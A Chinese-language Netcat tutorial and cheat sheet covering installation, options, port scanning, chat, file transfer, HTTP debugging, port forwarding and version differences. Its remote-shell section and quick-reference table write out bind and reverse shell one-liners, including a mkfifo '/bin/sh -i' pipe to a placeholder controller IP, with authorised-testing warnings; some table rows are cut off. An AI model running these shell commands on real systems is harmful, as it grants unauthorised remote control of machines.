Netcat 被誉为网络工具中的"瑞士军刀",是一个功能强大的网络调试和诊断工具。它可以在 TCP/UDP 协议下进行连接、监听、端口扫描、文件传输和代理转发等操作。
一、安装与基本语法
1.1 安装方法
| 操作系统 | 安装命令 |
|---|---|
| Ubuntu/Debian | sudo apt install netcat-openbsd |
| CentOS/RHEL | sudo yum install nc |
| macOS | brew install netcat |
| Windows | 下载 ncat 或独立 nc.exe |
1.2 基本语法
bash
nc [选项] [目标主机] [端口]
Netcat 有两种核心工作模式:
| 模式 | 说明 | 典型命令 |
|---|---|---|
| 客户端模式(连接模式) | 主动连接到远程主机 | nc host port |
| 服务器模式(监听模式) | 监听本地端口等待连接 | nc -l -p port |
二、核心参数详解
2.1 基础参数
| 参数 | 说明 | 示例 |
|---|---|---|
-l |
监听模式,作为服务器端 | nc -l 8080 |
-p |
指定本地端口 | nc -l -p 8080 |
-u |
使用 UDP 协议(默认 TCP) | nc -u -l 8080 |
-v |
详细输出,-vv 更详细 |
nc -vz target 80 |
-n |
不进行 DNS 解析 | nc -nv 192.168.1.1 80 |
-z |
零 I/O 模式,仅扫描端口 | nc -zv target 1-1000 |
-w |
设置超时时间(秒) | nc -w 3 target 80 |
-k |
保持监听,接受多个连接 | nc -lk 8080 |
-4 |
仅使用 IPv4 | nc -4 target 80 |
-6 |
仅使用 IPv6 | nc -6 target 80 |
2.2 高级参数
| 参数 | 说明 | 适用场景 |
|---|---|---|
-e |
连接后执行程序(危险!) | 反向 Shell |
-c |
通过 /bin/sh 执行命令 |
替代 -e |
-x |
通过代理连接 | 穿透代理 |
-X |
代理协议(4/5/connect) | SOCKS 代理 |
-N |
EOF 后关闭 socket | 规范关闭连接 |
2.3 参数差异说明
重要 :不同 Linux 发行版内置的
nc版本可能有差异:
| 版本 | 特点 | 常见发行版 |
|---|---|---|
| OpenBSD 版 | 功能丰富、安全,无 -e 选项 |
Ubuntu、Debian、macOS |
| Traditional 版 | 支持 -e 选项 |
CentOS 6、RHEL 6 |
| Ncat (Nmap) | 功能最全,支持 SSL | 可单独安装 |
查看版本:nc -h 看输出特征判断。
三、核心功能场景
3.1 端口扫描
TCP 端口扫描:
bash
# 扫描单个端口
nc -zv 192.168.1.1 22
# 扫描端口范围
nc -zv 192.168.1.1 20-100
# 详细扫描(两次 -v)
nc -vvz 192.168.1.1 80-443
# 带超时扫描
nc -zvw 3 192.168.1.1 1-1000
UDP 端口扫描(UDP 扫描可靠性较低):
bash
nc -zuv 192.168.1.1 53
nc -zuv 192.168.1.1 1-100
使用说明:
-z:不发送任何数据,仅检查连接状态-v:显示详细信息,-v -v显示更详细内容-w 3:设置超时 3 秒,避免长时间等待
3.2 建立 TCP/UDP 连接与聊天
TCP 聊天:
bash
# 服务器端(监听)
nc -l 8080
# 客户端(连接)
nc 192.168.1.100 8080
UDP 聊天:
bash
# 服务端
nc -u -l 8080
# 客户端
nc -u 192.168.1.100 8080
连接建立后,双方输入的内容会发送给对方,按 Ctrl+C 退出。
持续监听模式(接受多个连接):
bash
nc -lk 8080
3.3 文件传输
传输单个文件:
bash
# 接收端(服务器)
nc -l 8080 > received_file.txt
# 发送端(客户端)
nc 192.168.1.100 8080 < send_file.txt
传输目录 (结合 tar):
bash
# 接收端:监听并解压
nc -l 8080 | tar xzvf -
# 发送端:打包并发送
tar czvf - /path/to/dir | nc 192.168.1.100 8080
传输完成后自动关闭:当发送端文件传输完毕,连接自动关闭。
3.4 远程 Shell(反弹 Shell)
正向 Shell(目标机器主动提供 Shell):
bash
# 目标机器(服务器)
nc -l 8080 -e /bin/bash # Linux(需 -e 支持)
nc -l 8080 -e cmd.exe # Windows
# 控制端(客户端)
nc target_ip 8080
反向 Shell(更常用,可突破防火墙):
bash
# 控制端(等待连接)
nc -l 8080
# 目标机器(主动连接)
nc 控制端IP 8080 -e /bin/bash
无需 -e 的反向 Shell(OpenBSD 版本):
bash
# 控制端
nc -l 8080
# 目标机器
mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 控制端IP 8080 > /tmp/f
安全警告 :
-e功能极不安全,仅限授权测试环境使用。
3.5 HTTP 调试与 Web 服务模拟
手动发送 HTTP 请求:
bash
# 连接后手动输入
nc example.com 80
GET / HTTP/1.1
Host: example.com
# 或通过 echo 发送
echo -e "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80
模拟简单 Web 服务器:
bash
# 返回固定内容
echo -e "HTTP/1.1 200 OK\r\n\r\nHello World" | nc -l 8080
# 持续响应(循环)
while true; do echo -e "HTTP/1.1 200 OK\r\n\r\n$(date)" | nc -l 8080; done
3.6 端口转发与代理
基本端口转发:
bash
# 将本地 8080 转发到目标 80(需命名管道)
mkfifo /tmp/fifo
cat /tmp/fifo | nc target 80 | nc -l 8080 > /tmp/fifo
Ncat 代理功能(功能更完整):
bash
# 通过 SOCKS5 代理连接
ncat --proxy socks5://proxy:1080 --proxy-type socks5 target 80
# SSL 加密连接
ncat --ssl target 443
四、实用命令速查
| 用途 | 命令 |
|---|---|
| 端口扫描 | nc -zv target 1-1000 |
| UDP 端口扫描 | nc -zuv target 53 |
| 简单聊天服务器 | nc -l 8080 |
| UDP 聊天 | nc -u -l 8080 |
| 文件接收 | nc -l 8080 > file |
| 文件发送 | nc target 8080 < file |
| 目录传输(发送) | `tar czf - ./dir |
| 目录传输(接收) | `nc -l 8080 |
| HTTP GET 请求 | `echo -e "GET / HTTP/1.1\r\nHost: target\r\n\r\n" |
| 简单 Web 服务 | `echo -e "HTTP/1.1 200 OK\r\n\r\nOK" |
| 反向 Shell(Linux) | nc target 8080 -e /bin/bash |
| 反向 Shell(无 -e) | `mkfifo /tmp/f; cat /tmp/f |
五、不同版本对比
| 特性 | OpenBSD nc | Traditional nc | Ncat (Nmap) |
|---|---|---|---|
默认端口扫描 -z |
✅ | ✅ | ✅ |
UDP 支持 -u |
✅ | ✅ | ✅ |
-e 选项 |
❌ 不支持 | ✅ 支持 | ✅ 支持 |
| SSL/TLS 加密 | ❌ | ❌ | ✅ |
| 代理支持(SOCKS/HTTP) | ✅(OpenBSD 新版) | ❌ | ✅ |
多连接模式 -k |
✅ | ❌ | ✅ |
| 适用场景 | 日常使用 | 老脚本/逆向 Shell | 安全测试/加密传输 |
推荐:
- 日常使用 → OpenBSD 版本(系统自带)
- 需要
-e→ 安装 Ncat 或 Traditional 版 - 需要加密 → 使用 Ncat
--ssl选项
六、注意事项
- 安全使用:
-e选项极其危险,会暴露系统 Shell,仅限授权测试环境使用- 生产环境推荐使用 Ncat + SSL 加密传输敏感数据
- 网络影响:
- 高速端口扫描可能被安全设备识别为攻击行为
- UDP 扫描容易出现误报,应配合其他工具验证
- 权限要求:
- 绑定 1024 以下端口需要 root 权限
- 某些功能需要 root 权限才能正常工作